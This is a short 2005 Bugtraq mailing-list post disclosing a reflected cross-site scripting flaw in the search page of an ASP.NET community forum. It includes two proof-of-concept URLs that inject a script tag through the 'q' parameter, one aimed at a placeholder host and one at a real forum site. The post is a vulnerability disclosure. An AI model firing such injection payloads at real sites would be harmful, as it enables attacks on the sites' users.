[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
XSS IN Community forum
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS IN Community forum
- From: abducter_minds@xxxxxxxxx
- Date: 27 Jun 2005 23:30:17 -0000
there is aproplem in Community forum
community forum make by asp
i found a xss in search
when we typed
http://www.victim.com/forum/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><b%20a=a%20&f=&u=
EXAMPLE
http://forums.asp.net/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><b%20a=a%20&f=&u=
it will make a xss
credit
abducter_minds@xxxxxxxxx
all ARAB { EGYPT }